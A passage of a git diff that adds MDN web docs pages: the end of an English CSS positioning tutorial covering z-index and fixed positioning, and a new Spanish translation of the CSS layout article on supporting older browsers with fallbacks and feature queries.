+&lt;p&gt;We are separated by our margins. Because of margin collapsing, we are separated by the width of one of our margins, not both.&lt;/p&gt;
+
+&lt;p&gt;inline elements &lt;span&gt;like this one&lt;/span&gt; and &lt;span&gt;this one&lt;/span&gt; sit on the same line as one another, and adjacent text nodes, if there is space on the same line. Overflowing inline elements &lt;span&gt;wrap onto a new line if possible — like this one containing text&lt;/span&gt;, or just go on to a new line if not, much like this image will do: &lt;img src="https://mdn.mozillademos.org/files/13360/long.jpg"&gt;&lt;/p&gt;</pre>
+
+<pre class="brush: css">body {
+  width: 500px;
+  margin: 0 auto;
+  position: relative;
+}
+
+p {
+  background: aqua;
+  border: 3px solid blue;
+  padding: 10px;
+  margin: 10px;
+}
+
+span {
+  background: red;
+  border: 1px solid black;
+}
+
+.positioned {
+  position: absolute;
+  background: yellow;
+  top: 30px;
+  left: 30px;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Positioning_contexts', '100%', 420) }}</p>
+
+<p>The positioned element now sits relative to the {{htmlelement("body")}} element.</p>
+
+<div class="note">
+<p><strong>Note</strong>: You can see the example at this point live at <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/4_positioning-context.html">4_positioning-context.html</a></code> (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/4_positioning-context.html">see source code</a>).</p>
+</div>
+
+<h3 id="Introducing_z-index">Introducing z-index</h3>
+
+<p>All this absolute positioning is good fun, but there is another thing we haven't considered yet — when elements start to overlap, what determines which elements appear on top of which other elements? In the example we've seen so far, we only have one positioned element in the positioning context, and it appears on the top, since positioned elements win over non-positioned elements. What about when we have more than one?</p>
+
+<p>Try adding the following to your CSS, to make the first paragraph absolutely positioned too:</p>
+
+<pre>p:nth-of-type(1) {
+  position: absolute;
+  background: lime;
+  top: 10px;
+  right: 30px;
+}</pre>
+
+<p>At this point you'll see the first paragraph colored green, moved out of the document flow, and positioned a bit above from where it originally was. It is also stacked below the original <code>.positioned</code> paragraph, where the two overlap. This is because the <code>.positioned</code> paragraph is the second paragraph in the source order, and positioned elements later in the source order win over positioned elements earlier in the source order.</p>
+
+<p>Can you change the stacking order? Yes, you can, by using the {{cssxref("z-index")}} property. "z-index" is a reference to the z-axis. You may recall from previous points in the source where we discussed web pages using horizontal (x-axis) and vertical (y-axis) coordinates to work out positioning for things like background images and drop shadow offsets. (0,0) is at the top left of the page (or element), and the x- and y-axes run across to the right and down the page (for left to right languages, anyway.)</p>
+
+<p>Web pages also have a z-axis — an imaginary line that runs from the surface of your screen, towards your face (or whatever else you like to have in front of the screen). {{cssxref("z-index")}} values affect where positioned elements sit on that axis — positive values move them higher up the stack, and negative values move them lower down the stack. By default, positioned elements all have a <code>z-index</code> of auto, which is effectively 0.</p>
+
+<p>To change the stacking order, try adding the following declaration to your <code>p:nth-of-type(1)</code> rule:</p>
+
+<pre>z-index: 1;</pre>
+
+<p>You should now see the finished example:</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;h1&gt;z-index&lt;/h1&gt;
+
+&lt;p&gt;I am a basic block level element. My adjacent block level elements sit on new lines below me.&lt;/p&gt;
+
+&lt;p class="positioned"&gt;Now I'm absolutely positioned relative to the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; element, not the &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt; element!&lt;/p&gt;
+
+&lt;p&gt;We are separated by our margins. Because of margin collapsing, we are separated by the width of one of our margins, not both.&lt;/p&gt;
+
+&lt;p&gt;inline elements &lt;span&gt;like this one&lt;/span&gt; and &lt;span&gt;this one&lt;/span&gt; sit on the same line as one another, and adjacent text nodes, if there is space on the same line. Overflowing inline elements &lt;span&gt;wrap onto a new line if possible — like this one containing text&lt;/span&gt;, or just go on to a new line if not, much like this image will do: &lt;img src="https://mdn.mozillademos.org/files/13360/long.jpg"&gt;&lt;/p&gt;</pre>
+
+<pre class="brush: css">body {
+  width: 500px;
+  margin: 0 auto;
+  position: relative;
+}
+
+p {
+  background: aqua;
+  border: 3px solid blue;
+  padding: 10px;
+  margin: 10px;
+}
+
+span {
+  background: red;
+  border: 1px solid black;
+}
+
+.positioned {
+  position: absolute;
+  background: yellow;
+  top: 30px;
+  left: 30px;
+}
+
+p:nth-of-type(1) {
+  position: absolute;
+  background: lime;
+  top: 10px;
+  right: 30px;
+  z-index: 1;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Introducing_z-index', '100%', 400) }}</p>
+
+<p>Note that <code>z-index</code> only accepts unitless index values; you can't specify that you want one element to be 23 pixels up the Z-axis — it doesn't work like that. Higher values will go above lower values, and it is up to you what values you use. Using 2 and 3 would give the same effect as 300 and 40000.</p>
+
+<div class="note">
+<p><strong>Note</strong>: You can see the example at this point live at <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/5_z-index.html">5_z-index.html</a></code> (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/5_z-index.html">see source code</a>).</p>
+</div>
+
+<h3 id="Fixed_positioning">Fixed positioning</h3>
+
+<p>There is one more type of positioning to cover — fixed. This works in exactly the same way as absolute positioning, with one key difference — whereas absolute positioning fixes an element in place relative to the {{htmlelement("html")}} element or its nearest positioned ancestor, fixed positioning fixes an element in place relative to the browser viewport itself. This means that you can create useful UI items that are fixed in place, like persisting navigation menus.</p>
+
+<p>Let's put together a simple example to show what we mean. First of all, delete the existing <code>p:nth-of-type(1)</code> and <code>.positioned</code> rules from your CSS.</p>
+
+<p>Now, update the <code>body</code> rule to remove the <code>position: relative;</code> declaration and add a fixed height, like so:</p>
+
+<pre>body {
+  width: 500px;
+  height: 1400px;
+  margin: 0 auto;
+}</pre>
+
+<p>Now we're going to give the {{htmlelement("h1")}} element <code>position: fixed;</code>, and get it to sit at the top center of the viewport. Add the following rule to your CSS:</p>
+
+<pre>h1 {
+  position: fixed;
+  top: 0;
+  width: 500px;
+  margin: 0 auto;
+  background: white;
+  padding: 10px;
+}</pre>
+
+<p>The <code>top: 0;</code> is required to make it stick to the top of the screen; we then give the heading the same width as the content column and use the faithful old <code>margin: 0 auto;</code> trick to center it. We then give it a white background and some padding, so the content won't be visible underneath it.</p>
+
+<p>If you save and refresh now, you'll see a fun little effect whereby the heading stays fixed, and the content appears to scroll up and disappear underneath it. But we could improve this more — at the moment some of the content starts off underneath the heading. This is because the positioned heading no longer appears in the document flow, so the rest of the content moves up to the top. We need to move it all down a bit; we can do this by setting some top margin on the first paragraph. Add this now:</p>
+
+<pre>p:nth-of-type(1) {
+  margin-top: 60px;
+}</pre>
+
+<p>You should now see the finished example:</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;h1&gt;Fixed positioning&lt;/h1&gt;
+
+&lt;p&gt;I am a basic block level element. My adjacent block level elements sit on new lines below me.&lt;/p&gt;
+
+&lt;p class="positioned"&gt;I'm not positioned any more...&lt;/p&gt;
+
+&lt;p&gt;We are separated by our margins. Because of margin collapsing, we are separated by the width of one of our margins, not both.&lt;/p&gt;
+
+&lt;p&gt;inline elements &lt;span&gt;like this one&lt;/span&gt; and &lt;span&gt;this one&lt;/span&gt; sit on the same line as one another, and adjacent text nodes, if there is space on the same line. Overflowing inline elements &lt;span&gt;wrap onto a new line if possible — like this one containing text&lt;/span&gt;, or just go on to a new line if not, much like this image will do: &lt;img src="https://mdn.mozillademos.org/files/13360/long.jpg"&gt;&lt;/p&gt;</pre>
+
+<pre class="brush: css">body {
+  width: 500px;
+  height: 1400px;
+  margin: 0 auto;
+}
+
+p {
+  background: aqua;
+  border: 3px solid blue;
+  padding: 10px;
+  margin: 10px;
+}
+
+span {
+  background: red;
+  border: 1px solid black;
+}
+
+h1 {
+  position: fixed;
+  top: 0px;
+  width: 500px;
+  margin: 0 auto;
+  background: white;
+  padding: 10px;
+}
+
+p:nth-of-type(1) {
+  margin-top: 60px;
+}</pre>
+
+<p> </p>
+</div>
+
+<p>{{ EmbedLiveSample('Fixed_positioning', '100%', 400) }}</p>
+
+<div class="note">
+<p><strong>Note</strong>: You can see the example at this point live at <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/6_fixed-positioning.html">6_fixed-positioning.html</a></code> (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/6_fixed-positioning.html">see source code</a>).</p>
+</div>
+
+<h3 id="Experimental_position_sticky">Experimental: position sticky</h3>
+
+<p>There is a new positioning value available called <code>position: sticky</code>, support for which is not very widespread yet. This is basically a hybrid between relative and fixed position, which allows a positioned element to act like it is relatively positioned until it is scrolled to a certain threshold point (e.g. 10px from the top of the viewport), after which it becomes fixed.  See our <a href="/en-US/docs/Web/CSS/position#Sticky_positioning">position: sticky reference entry</a> for more details and an example.</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>I'm sure you had fun playing with basic positioning — it is one of the essential tools behind creating complex CSS layouts and UI features. With that in mind, in the next article we'll have even more fun with positioning — there we'll go a step further and start to build up some real world useful things with it.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout/Practical_positioning_examples", "Learn/CSS/CSS_layout")}}</p>
+
+<p> </p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Introduction">Introduction to CSS layout</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">Floats</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning">Positioning</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Practical_positioning_examples">Practical positioning examples</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">Grids</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/es/learn/css/css_layout/soporte_a_navegadores_antiguos/index.html b/files/es/learn/css/css_layout/soporte_a_navegadores_antiguos/index.html
new file mode 100644
index 0000000000..18065a1da5
--- /dev/null
+++ b/files/es/learn/css/css_layout/soporte_a_navegadores_antiguos/index.html
@@ -0,0 +1,237 @@
+---
+title: Soporte a navegadores antiguos
+slug: Learn/CSS/CSS_layout/Soporte_a_navegadores_antiguos
+translation_of: Learn/CSS/CSS_layout/Supporting_Older_Browsers
+---
+<div>{{LearnSidebar}}</div>
+
+<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Legacy_Layout_methods", "Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension", "Learn/CSS/CSS_layout")}}</p>
+
+<p class="summary">En este módulo recomendamos utilizar Flexbox y Grid como las herramientas principales para tus diseños. Sin embargo, habrá visitantes a tu sitio web que usen navegadores antiguos o navegadores que no admiten los métodos que has utilizado. Este siempre será el caso en la red: a medida que se desarrollan funciones nuevas, los diferentes navegadores priorizan cosas diferentes. Este artículo explica cómo usar técnicas web modernas sin perjudicar a los usuarios con tecnologías más antiguas.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conceptos básicos de HTML (véase <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción al HTML</a>) y nociones de cómo funciona el CSS (véase <a href="/es/docs/Learn/CSS/First_steps">Introducción al CSS</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Comprender cómo proporcionar compatibilidad para tus diseños en navegadores antiguos que podrían no admitir las funciones que deseas utilizar.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿Cuál_es_la_vista_del_navegador_para_tu_sitio">¿Cuál es la vista del navegador para tu sitio?</h2>
+
+<p>Cada sitio web es diferente en términos de público objetivo. Antes de decidir el enfoque a seguir, averigua la cantidad de visitantes que visitan tu sitio que utilizan navegadores antiguos. Esto es sencillo si se trata de un sitio web que simplemente modificas o reemplazas, porque probablemente haya análisis disponibles que te indiquen la tecnología que la gente utiliza. Si el sitio no tiene funciones de análisis o se trata de un sitio nuevo, hay sitios como <a href="http://gs.statcounter.com/">Statcounter</a> que pueden proporcionar estadísticas filtradas por ubicación.</p>
+
+<p>También debes considerar el tipo de dispositivos y la forma en que las personas usan tu sitio; por ejemplo, puedes esperar un número de dispositivos móviles superior al promedio. La accesibilidad y las personas que utilizan tecnología de asistencia siempre deben tenerse en cuenta, pero para algunos sitios pueden ser aspectos aún más críticos. Según experiencia propia, los desarrolladores a menudo se preocupan demasiado por la experiencia de usuario de un 1% de usuarios que usan una versión antigua de Internet Explorer, y no consideran en absoluto el número mucho mayor de usuarios que tiene necesidades de accesibilidad especiales.</p>
+
+<h2 id="¿Qué_compatibilidad_presentan_las_funciones_que_vas_a_usar">¿Qué compatibilidad presentan las funciones que vas a usar?</h2>
+
+<p>Una vez conozcas qué tipo de navegadores utiliza la gente que accede a tu sitio, puedes evaluar cualquier tecnología que desees utilizar según su compatibilidad y con qué facilidad es posible proporcionar una alternativa a los visitantes que no disponen de esa tecnología. Tratamos de facilitarte esta experiencia proporcionando información de compatibilidad de los navegadores en cada una de las páginas que detallan una propiedad CSS. Por ejemplo, echa un vistazo a la página de {{cssxref ("grid-template-columns")}}. En la parte inferior de esta página hay una tabla que enumera los navegadores principales, junto con la versión en la que comenzaron a admitir esta propiedad.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16047/browser-table.png" style="height: 1178px; width: 2102px;"></p>
+
+<p>Otra forma popular de averiguar la compatibilidad de una característica es el sitio web <a href="https://caniuse.com/">Can I Use</a>. Este sitio enumera la mayoría de las características de la Plataforma Web con información sobre el estado de compatibilidad de tu navegador. Puedes ver las estadísticas de uso por ubicación, cosa que resulta útil si trabajas en un sitio cuyos usuarios son de un territorio particular. Incluso puedes vincular tu cuenta de Google Analytics para obtener un análisis basado en tus datos de usuario.</p>
+
+<p>Conocer las tecnologías de tus usuarios y las compatibilidades de las funciones que tal vez quieras usar te proporcionan una buena base para tomar todas tus decisiones y saber cuál es la mejor manera de dar compatibilidad a todos tus usuarios.</p>
+
+<h2 id="Compatibilidad_no_significa_«verse_igual»">Compatibilidad no significa «verse igual»</h2>
+
+<p>Es posible que un sitio web no tenga el mismo aspecto en todos los navegadores, porque algunos de tus usuarios lo verán en un teléfono y otros en el ordenador. Del mismo modo, algunos de tus usuarios tendrán una versión antigua del navegador y otros el navegador más reciente. Es posible que algunos de tus usuarios estén escuchando el contenido leído por un lector de pantalla, o hayan ampliado la página para poderla leer. Dar compatibilidad a todos significa servir una versión de tus contenidos diseñada estratégicamente para que se vea genial con los navegadores modernos, pero aún sea utilizable en un nivel básico para los usuarios con navegadores más antiguos.</p>
+
+<p>Un nivel básico de compatibilidad proviene de estructurar bien tus contenidos para que el flujo normal de tu página tenga sentido. Un usuario con un teléfono con funciones muy limitadas puede que no obtenga buena parte de tu CSS, pero el contenido fluirá de una manera que la lectura resulte fácil. Por lo tanto, un documento HTML bien estructurado siempre debe ser tu punto de partida. <em>¿Tu contenido tiene sentido si eliminas tu hoja de estilo?</em></p>
+
+<p>Una opción es dejar esta vista simple del sitio como alternativa para las personas que utilizan navegadores muy antiguos o limitados. Si la cantidad de personas que visitan el sitio con estos navegadores es pequeña, quizá no tenga sentido comercial dedicar tiempo a tratar de proporcionarles una experiencia similar a la de las personas que utilizan navegadores modernos. Sería mejor dedicar el tiempo a cosas que proporcionen accesibilidad al sitio, y servir así a muchos más usuarios. Hay un punto medio entre una página HTML simple y todos esos recursos, y CSS realmente ha logrado que proporcionar estas soluciones alternativas resulte bastante sencillo.</p>
+
+<h2 id="Crear_soluciones_alternativas_en_CSS">Crear soluciones alternativas en CSS</h2>
+
+<p>Las especificaciones CSS contienen información que explica qué hace el navegador cuando se aplican dos métodos de diseño al mismo elemento. Esto significa que hay una definición de lo que sucede si un elemento flotante, por ejemplo, también es un elemento Grid que usa diseño de cuadrícula CSS. Combina esta información con el conocimiento de que los navegadores ignoran el CSS que no entienden, y tienes una manera de crear diseños simples utilizando las <a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">técnicas heredadas</a> que ya hemos expuesto, que luego se sobrescriben con tu diseño de cuadrícula en los navegadores modernos que lo entienden.</p>
+
+<p>En el ejemplo siguiente hemos especificado tres elementos de flotación <code>&lt;div&gt;</code> para que se muestren en una fila. Cualquier navegador que no sea compatible con el método de compaginación <a href="/es/docs/Learn/CSS/CSS_layout/Grids">CSS Grid</a> verá la hilera de cajas como un diseño con el método de flotación. Un elemento de flotación que se convierte en un elemento de cuadrícula pierde el comportamiento de flotación, lo que significa que al convertir el contenedor en un contenedor de cuadrícula, los elementos de flotación se convierten en elementos de cuadrícula. Si el navegador admite el diseño de cuadrícula, muestra la vista de cuadrícula; si no, ignora las propiedades relacionadas con el diseño de cuadrícula y utiliza el diseño de flotación.</p>
+
+<div id="Example1">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  max-width: 400px;
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+}
+
+.item {
+  float: left;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item"&gt;Artículo uno&lt;/div&gt;
+  &lt;div class="item"&gt;Artículo dos&lt;/div&gt;
+  &lt;div class="item"&gt;Artículo tres&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Example1', '100%', '200') }}</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: La propiedad {{cssxref ("clear")}} tampoco tiene efecto una vez que el elemento al que se le aplica se convierte en un elemento de cuadrícula, por lo que podrías tener una compaginación con un pie <code>clear</code>, que luego pase a ser un elemento de compaginación en cuadrícula.</p>
+</div>
+
+<h3 id="Métodos_de_soluciones_alternativas">Métodos de soluciones alternativas</h3>
+
+<p>Numerosos métodos de compaginación se pueden usar de manera similar a este ejemplo con comportamiento de flotación. Puedes elegir el que tenga más sentido para el patrón de compaginación que necesitas crear.</p>
+
+<dl>
+ <dt><strong><code>float</code></strong> y <strong><code>clear</code></strong></dt>
+ <dd>Como se muestra arriba, las propiedades <em>float</em> o <em>clear</em> dejan de afectar a la compaginación si los elementos afectados por estas propiedades pasan a ser de tipo flexible o de cuadrícula.</dd>
+ <dt>display: inline-block;</dt>
+ <dd>Este método se puede utilizar para crear compaginaciones en columnas; si un elemento tiene establecido un comportamiento <code>display: inline-block</code> pero se convierte a elemento con compaginación de tipo flexible o de cuadrícula, el comportamiento <code>inline-block</code> se ignora.</dd>
+ <dt>display: table;</dt>
+ <dd>El método de creación de tablas CSS que se describe en la <a href="/es/docs/Learn/CSS/CSS_layout/Introducción">introducción</a> de estos artículos puede utilizarse como opción alternativa. Los elementos que tienen diseños de tabla CSS pierden este comportamiento si se convierten en elementos con comportamiento flexible o de cuadrícula. Es importante destacar que no se crearán las cajas sin nombre que fueron creadas para arreglar la estructura de tabla.</dd>
+ <dt>Compaginación en columnas</dt>
+ <dd>Para ciertos tipos de compaginación puedes usar <a href="/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">multi-col</a> como opción alternativa; si tu contenedor tiene alguna propiedad <code>column-*</code> definida y se convierte en un contenedor con comportamiento de cuadrícula, se anula el comportamiento en columnas.</dd>
+ <dt>Flexbox como opción alternativa a la cuadrícula</dt>
+ <dd><a href="/es/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a> tiene una compatibilidad mayor con los navegadores que Grid porque es compatible con Internet Explorer 10 y 11, aunque te recomendamos que consultes la información que encontrarás más adelante en este artículo sobre la compatibilidad bastante irregular y confusa de Flexbox en navegadores más antiguos. Si conviertes un contenedor flexible en un contenedor de cuadrícula, se ignorará cualquier propiedad <code>flex</code> aplicada a los elementos secundarios.</dd>
+</dl>
+
+<p>Observa que si usas el CSS de esta manera puedes proporcionar una experiencia de usuario decente para ajustar muchas compaginaciones en navegadores antiguos. Añadimos una compaginación más simple basada en técnicas antiguas y con buena compatibilidad, y luego usamos el CSS más nuevo para crear la compaginación que va a ver más del 90% de tu público. Sin embargo, hay casos en los que el código alternativo va a tener que incluir algo que también van a interpretar los navegadores nuevos. Un buen ejemplo de esto es si queremos añadir anchos en porcentaje a nuestros elementos de flotación para que el aspecto de las columnas reproduzca mejor la visualización en cuadrícula, expandiendo para llenar el contenedor.</p>
+
+<p>En la compaginación de flotación, el porcentaje se calcula con respecto al contenedor: 33,333% es un tercio del ancho del contenedor. Sin embargo, en el método Grid ese 33,333% se calcula con respecto al área de la cuadrícula en la que el elemento está ubicado, por lo que en realidad se convierte en un tercio del tamaño que queremos una vez que se introduce la compaginación en cuadrícula.</p>
+
+<div id="Example2">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  max-width: 400px;
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+}
+
+.item {
+  float: left;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+  width: 33.333%;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item"&gt;Artículo uno&lt;/div&gt;
+  &lt;div class="item"&gt;Artículo dos&lt;/div&gt;
+  &lt;div class="item"&gt;Artículo tres&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Example2', '100%', '200') }}</p>
+</div>
+
+<p>Para tratar este problema, necesitamos tener un modo de detectar si Grid es compatible y, por lo tanto, si anulará el ancho. El CSS tiene una solución.</p>
+
+<h2 id="Consultar_las_propiedades">Consultar las propiedades</h2>
+
+<p>Consultar las propiedades te permite comprobar si un navegador admite alguna característica CSS en particular. Esto significa que puedes escribir algunos CSS para navegadores que no admitan una propiedad determinada y luego verificar si el navegador es compatible, y añadir tu elegante diseño de ser así.</p>
+
+<p>Si añadimos al ejemplo anterior una consulta de las propiedades, podemos usarla para volver a establecer a <code>auto</code> los anchos de nuestros elementos, si sabemos que hay compatibilidad para la compaginación en cuadrícula.</p>
+
+<div id="Example3">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  max-width: 400px;
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+}
+
+.item {
+  float: left;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+  width: 33.333%;
+}
+
+@supports (display: grid) {
+  .item {
+      width: auto;
+  }
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item"&gt;Elemento uno&lt;/div&gt;
+  &lt;div class="item"&gt;Elemento dos&lt;/div&gt;
+  &lt;div class="item"&gt;Elemento tres&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Example3', '100%', '200') }}</p>
+</div>
+
+<p>La compatibilidad para la consulta de propiedades es muy buena en todos los navegadores modernos, pero debes tener en cuenta que son los navegadores que no admiten CSS Grid los que tampoco admiten la consulta de propiedades. Esto significa que para esos navegadores funcionará un enfoque como el que acabamos de detallar. Lo que hacemos es escribir primero nuestro CSS anterior sin hacer ninguna consulta de propiedades. Los navegadores que no admiten Grid y que no admiten la consulta de propiedades utilizan esa información de diseño que pueden entender e ignoran por completo todo lo demás. Los navegadores que admiten la consulta de propiedades también admiten CSS Grid y, por lo tanto, ejecutan el código de cuadrícula y el código de la consulta de propiedades.</p>
+
+<p>La especificación para la consulta de propiedades también incluye la posibilidad de probar si un navegador no admite una propiedad; esto solo es útil si el navegador admite consultas de propiedades. En el futuro bastará con el enfoque de verificar la falta de compatibilidad, porque los navegadores que no tienen compatibilidad para la consulta de propiedades desaparecen. Por ahora, sin embargo, utiliza el enfoque de usar el CSS anterior y luego sobrescribirlo para obtener la mejor compatibilidad.</p>
+
+<h2 id="Versiones_anteriores_de_Flexbox">Versiones anteriores de Flexbox</h2>
+
+<p>En versiones anteriores de navegadores, puedes encontrar versiones anteriores de la especificación Flexbox. En el momento de escribir esto se trata principalmente de un problema con Internet Explorer 10, que usa el prefijo <code>-ms-</code> para Flexbox. Esto también significa que algunos artículos y tutoriales están obsoletos; <a href="https://css-tricks.com/old-flexbox-and-new-flexbox/">esta guía útil</a> te ayuda a verificarlo y también puede ayudarte si necesitas compatibilidad Flexbox en navegadores muy antiguos.</p>
+
+<h2 id="La_versión_prefijada_de_Grid_de_Internet_Explorer_10_y_11">La versión prefijada de Grid de Internet Explorer 10 y 11</h2>
+
+<p>La especificación CSS Grid se prototipó inicialmente en Internet Explorer 10; esto significa que si bien IE10 e IE11 no tienen compatibilidad de cuadrícula <em>moderna</em>, sí tienen una versión de compaginación en cuadrícula, que es muy útil, aunque diferente de la especificación moderna que documentamos en este sitio. Las implementaciones de IE10 y 11 tienen el prefijo <code>-ms-</code>, lo que significa que puedes usarlo para estos navegadores y los navegadores que no sean de Microsoft lo ignorarán. Sin embargo, Edge todavía comprende la sintaxis anterior, así que ten cuidado de que todo se sobrescriba de forma segura en tu cuadrícula de CSS moderna.</p>
+
+<p>La guía de <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">Mejora progresiva en la compaginación en cuadrícula</a> puede ayudarte a comprender la versión de la cuadrícula de Internet Explorer, y hemos incluido algunos enlaces útiles adicionales al final de este artículo. Sin embargo, a menos que tengas una gran cantidad de visitantes con versiones anteriores de Internet Explorer, puede que te resulte mejor centrarte en crear una reserva que funcione para todos los navegadores no compatibles.</p>
+
+<h2 id="Pruebas_con_navegadores_antiguos">Pruebas con navegadores antiguos</h2>
+
+<p>Dado que la mayoría de los navegadores ya son compatibles con Flexbox y Grid, puede resultar en efecto difícil hacer pruebas con navegadores más antiguos. Una forma es utilizar una herramienta de prueba en línea como Sauce Labs, como se detalla en el módulo de <a href="/es/docs/Learn/Herramientas_y_pruebas/Cross_browser_testing">comprobación de compatibilidad entre navegadores</a>.</p>
+
+<p>También puedes descargar e instalar máquinas virtuales y ejecutar versiones anteriores de navegadores en un entorno de tu propio ordenador. Tener acceso a versiones anteriores de Internet Explorer es particularmente útil, y para ese propósito, Microsoft ha puesto a disposición de los usuarios una <a href="https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/">variedad de máquinas virtuales de descarga gratuita</a>. Están disponibles para los sistemas operativos Mac, Windows y Linux, por lo que resultan una manera excelente de hacer pruebas con los navegadores Windows antiguos y modernos, incluso si no utilizas una computadora con sistema Windows.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Ahora tienes el conocimiento para usar con confianza técnicas como Grid y Flexbox, crear soluciones alternativas para navegadores más antiguos y utilizar cualquier técnica nueva que pueda surgir en el futuro.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://hacks.mozilla.org/2016/08/using-feature-queries-in-css/">Uso de consultas de propiedades en CSS</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox">Compatibilidad con versiones anteriores de Flexbox</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">Compaginación en cuadrícula CSS y mejora progresiva</a></li>
+ <li><a href="https://www.smashingmagazine.com/2017/11/css-grid-supporting-browsers-without-grid/">Uso de CSS Grid: Compatibilidad con navegadores sin comportamiento de cuadrícula</a></li>
+ <li><a href="https://24ways.org/2012/css3-grid-layout/">Un tutorial que usa las versiones IE10 y 11 de Grid</a></li>
+ <li><a href="https://rachelandrew.co.uk/archives/2016/11/26/should-i-try-to-use-the-ie-implementation-of-css-grid-layout/">¿Debo tratar de usar la implementación IE10 de Grid Layout?</a></li>
+ <li><a href="https://24ways.org/2017/cascading-web-design/">Diseño web en cascada con consulta de propiedades</a></li>
+ <li><a href="https://gridbyexample.com/learn/2016/12/24/learning-grid-day24/">Uso de las consultas de propiedades (vídeo)</a></li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Legacy_Layout_methods", "Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension", "Learn/CSS/CSS_layout")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Introduction">Introducción al diseño CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Normal_Flow">Flujo normal</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">Cuadrícula</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">Flotación</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning">Posicionamiento</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Diseño en columnas</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Responsive_Design">Diseño adaptativo</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Media_queries">Guía para principiantes sobre consultas a medios</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Métodos de compaginación heredados</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">Compatibilidad con navegadores antiguos</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">Evaluación del conjunto de elementos básicos de compaginación</a></li>
+</ul>
